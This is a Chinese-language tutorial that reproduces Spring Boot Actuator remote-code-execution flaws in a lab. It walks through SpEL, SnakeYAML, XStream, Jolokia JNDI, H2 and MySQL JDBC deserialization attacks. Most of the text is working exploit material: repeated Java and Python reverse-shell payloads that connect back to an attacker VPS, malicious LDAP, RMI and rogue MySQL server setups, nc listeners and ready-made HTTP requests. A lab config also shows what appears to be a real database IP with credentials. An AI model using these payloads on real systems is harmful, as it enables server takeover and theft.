SpringBoot远程代码执行漏洞复现
文章目录
- SpringBoot远程代码执行漏洞复现
- 0x00 环境搭建
- 0x01 框架识别
- 0x02 whitelabel error page SpEL RCE
- 0x03 spring cloud SnakeYAML RCE
- 0x04 eureka xstream deserialization RCE
- 0x04:jolokia logback JNDI RCE
- 0x05:jolokia Realm JNDI RCE
- 0x06:restart h2 database query RCE
- 0x07:h2 database console JNDI RCE
- 0x08:mysql jdbc deserialization RCE
- 0x09:restart logging.config logback JNDI RCE
- 0x0A:restart logging.config groovy RCE
- 0x0B:restart spring.main.sources groovy RCE
- 0x0C:restart spring.datasource.data h2 database RCE
- 0x0C:restart spring.datasource.data h2 database RCE
0x00 环境搭建
https://github.com/LandGrey/SpringBootVulExploit
有用于模拟漏洞的源代码文件,我们只需要进行简单的操作即可运行这段源代码
安装java
apt search jdk | grep openjdk-8
apt install openjdk-8-jdk openjdk-8-jdk-headless
切换java环境版本
update-alternatives --config java
我们需要选择openjdk-8版本
安装maven
apt install maven
安装github项目
git clone https://github.com/LandGrey/SpringBootVulExploit.git
进入特定漏洞复现环境,我们这里以repository/springboot-spel-rce
为例。修改该文件中src/main/resources/application.properties
文件。
server.port=9091
server.address=0.0.0.0
# mysql-可选
# spring.datasource.name=druidDataSource
# spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
# ping.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-8&allowMultiQueries=true&autoReconnect=true
# spring.datasource.username=<YOURUSERNAME>
# spring.datasource.password=<YOURPASSWORD>
运行springboot(项目文件根目录下)
mvn install
mvn spring-boot:run
0x01 框架识别
手动识别: 小绿叶、404报错
工具识别: https://github.com/rabbitmask/SB-Actuator
0x02 whitelabel error page SpEL RCE
利用条件
-
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
-
至少知道一个触发 springboot 默认错误页面的接口及参数名
复现过程
步骤一: 找到一个正常传参处
某页面某参数(/article?id=xxx
)返回500
步骤二: 执行SpEL表达式
向该参数处传递任意SpEL表达式(/article?id=${9*9}
)
漏洞利用
将我们想要执行的代码转换成字节形式,方便执行
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
传递参数(/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
)
漏洞原理
https://www.cnblogs.com/litlife/p/10183137.html
0x03 spring cloud SnakeYAML RCE
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
-
目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
复现过程
步骤一: VPS托管yml和jar文件
我们需要一个可被访问到的http服务器,用于让目标在触发漏洞时远程拉取恶意jar文件,从而实现rce
我们使用python打开80端口
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
接下来,我们需要在目标的某个可访问的地址下放置我们的yml
和jar
文件,这两个文件的内容如下
yml文件
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://<your-ip>/jar文件路径"]
]]
]
jar文件
git clone https://github.com/artsploit/yaml-payload`,修改`src/artsploit/AwesomeScriptEngineFactory.java
ackage artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com"); //更改为你要执行的命令
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
将该项目编译为jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
参考https://github.com/artsploit/yaml-payload
步骤二: POST请求/env
接口
POST/env
接口,设置spring.cloud.bootstrap.location 属性,查看是否能够POST成功
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
步骤三: POST请求/refresh
接口
POST请求/refresh
,用于刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
0x04 eureka xstream deserialization RCE
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
-
目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
复现过程
步骤一: 架设响应恶意XStream payload的服务器
我们需要在vps上架设一个恶意的程序,当目标访问该url时,该程序返回一个恶意的payload,目标触发XStream反序列化,从而执行恶意代码
这里我们以一个python程序为例:
#!/usr/bin/env python
# coding: utf-8
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
可以看到,这段代码主要在于s.connect(("your-vps-ip",443)
,用于连接你的vps的443端口。
我们需要提前运行该脚本(只是为了打开80端口,使用python -m http.server 80
可替代)
同时,我们用nc打开某个vps的443端口(nc -lvp 443
),等待s.connect(("your-vps-ip",443)
执行
步骤二: 设置eureka.client.serviceUrl.defaultZone属性
将该值设置为我们刚刚搭建好的那个python恶意程序的url
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤三: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
0x04:jolokia logback JNDI RCE
利用条件
-
目标网站存在 /jolokia 或 /actuator/jolokia 接口
-
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
-
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
复现过程
步骤一:查看已存在的 MBeans
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词
步骤二:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
步骤三:准备要执行的 Java 代码
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。
步骤四:架设恶意 ldap 服务
下载 marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar
接下来使用使用下面命令架设对应的ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
步骤五:监听反弹 shell 的端口
nc -lv 443
步骤六:从外部 URL 地址加载日志配置文件
替换实际的 your-vps-ip 地址访问 URL 触发漏洞:/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
漏洞原理
https://xz.aliyun.com/t/4258
0x05:jolokia Realm JNDI RCE
利用条件
-
目标网站存在 /jolokia 或 /actuator/jolokia 接口
-
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
-
目标可以请求攻击者的服务器(请求可出外网)
-
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
复现过程
步骤一:查看已存在的 MBeans
访问 /jolokia/list
接口,查看是否存在 type=MBeanFactory
和 createJNDIRealm
关键词。
步骤二:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
步骤三:托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。
步骤四:架设恶意 rmi 服务
下载 marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar
接下来使用使用下面命令架设对应的 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
步骤五:监听反弹 shell 的端口
nc -lvp 443
步骤六:发送恶意 payload
我们使用python脚本发送恶意payload
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
url = 'http://<target_url>:<target_port>/jolokia'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://<your-vps-ip>:1389/JNDIObject"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
漏洞原理
https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html
0x06:restart h2 database query RCE
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /restart 接口重启应用
-
存在 com.h2database.h2 依赖(版本要求暂未知)
漏洞复现
步骤一:设置 spring.datasource.hikari.connection-test-query 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('ping xxx')
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('ping xxx');"}
步骤二:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
漏洞原理
https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/
0x07:h2 database console JNDI RCE
利用条件
-
存在 com.h2database.h2 依赖(版本要求暂未知)
-
spring 配置中启用 h2 console spring.h2.console.enabled=true
-
spring 配置中启用 spring.h2.console.settings.web-allow-others=true(新增)
-
目标可以请求攻击者的服务器(请求可出外网)
-
JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
漏洞复现
步骤零:修改配置文件
目前我们所使用的https://github.com/LandGrey/SpringBootVulExploit下的靶场环境存在问题,我们需要修改src/main/resources/application.properties
如下:
# enable h2 console jndi rce
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true # 添加这行
否则会报错
H2 Console Sorry
remote connections ('webAllowOthers') are disabled on this server.
步骤一:访问路由获得 jsessionid
直接访问目标开启 h2 console 的默认路由 /h2-console,目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx,记录下实际的 jsessionid=xxxxxx 值。
步骤二:打开HTTP服务
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
步骤三:准备要执行的 Java 代码
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。
步骤四:架设恶意 ldap 服务
下载 marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar
接下来使用使用下面命令架设对应的 ldap 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
步骤五:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 443
步骤六:发包触发JNDI注入
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
0x08:mysql jdbc deserialization RCE
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
-
目标环境中存在 mysql-connector-java 依赖
-
目标可以请求攻击者的服务器(请求可出外网)
漏洞复现
步骤零:搭载环境
目前我们所使用的https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce靶场环境存在问题,需要进行相关配置
因为该漏洞与mysql有关,我们必须自己下载配置mysql。我们以mysql8.0、Ubuntu18.04为例
# 由于ubuntu18.04的apt库中只有mysql5.7版本,我们需要自己更新apt库
wget https://dev.mysql.com/get/mysql-apt-config_0.8.15-1_all.deb
dpkg -i mysql-apt-config_0.8.15-1_all.deb
# 出现弹窗,选择8.0版本即可
sudo apt-get update
sudo apt-get install mysql-server
接着,修改src/main/resources/application.properties
,配置mysql数据库的连接,并设定时区避免报错
server.port=9097
server.address=0.0.0.0
#management.security.enabled=false
management.endpoint.restart.enabled=true
management.endpoint.refresh.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh
# ===============================
# = DATA SOURCE
# ===============================
# Set here configurations for the database connection
spring.datasource.url=jdbc:mysql://104.129.182.81:3306/mysql?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false
spring.datasource.username=kygoss
spring.datasource.password=helloknownsec
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
# Keep the connection alive if idle for a long time (needed in production)
spring.datasource.testWhileIdle=true
spring.datasource.validationQuery=SELECT 1
# ===============================
# = JPA / HIBERNATE
# ===============================
# Show or not log for each sql query
spring.jpa.show-sql=true
# Hibernate ddl auto (create, create-drop, update): with "create-drop" the database
# schema will be automatically created afresh for every start of application
spring.jpa.hibernate.ddl-auto=create-drop
# Naming strategy
spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl
spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy
# Allows Hibernate to generate SQL optimized for a particular DBMS
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8Dialect
之后,常规操作
mvn clean install
mvn spring-boot:run
直接访问9097端口,可以看到hello字样,则代表搭建成功
步骤一:查看环境依赖
GET 请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);
搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collections、Jdk7u21、Jdk8u20 等;
搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。
步骤二:架设恶意 rogue mysql server
在我们的vps上,用python2运行该脚本:
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
import os
import socket
import binascii
def server_send(conn, payload):
global count
count += 1
print("[*] Package order: {}, Send: {}".format(count, payload))
conn.send(binascii.a2b_hex(payload))
def server_receive(conn):
global count, BUFFER_SIZE
count += 1
data = conn.recv(BUFFER_SIZE)
print("[*] Package order: {}, Receive: {}".format(count, data))
return str(data).lower()
def run_mysql_server():
global count, deserialization_payload
while True:
count = 0
conn, addr = server_socks.accept()
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
server_send(conn, greeting)
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as _f:
deserialization_payload = binascii.b2a_hex(_f.read())
while True:
# client auth
server_receive(conn)
server_send(conn, response_ok)
# client query
data = server_receive(conn)
if "session.auto_increment_increment" in data:
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
server_send(conn, _payload)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
server_send(conn, _payload)
data = server_receive(conn)
if "set names" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "set character_set_results" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "show session status" in data:
_data = '0100000102'
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
_data += '07000005fe000022000100'
server_send(conn, _data)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
server_send(conn, _payload)
break
try:
conn.close()
except Exception as e:
pass
if __name__ == "__main__":
HOST = "0.0.0.0"
PORT = 3306
deserialization_file = r'payload.ser'
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as f:
deserialization_payload = binascii.b2a_hex(f.read())
else:
deserialization_payload = 'aced****(your deserialized hex data)'
count = 0
BUFFER_SIZE = 1024
response_ok = '0700000200000002000000'
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socks.bind((HOST, PORT))
server_socks.listen(1)
run_mysql_server()
可以看到,我们假设了一个虚假的mysql数据库,当目标服务器访问vps时,vps会把恶意payload发送给目标服务器
接着,我们构造恶意的payload,该文件放置python脚本同一文件夹下
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
步骤三:设置 spring.datasource.url 属性
修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
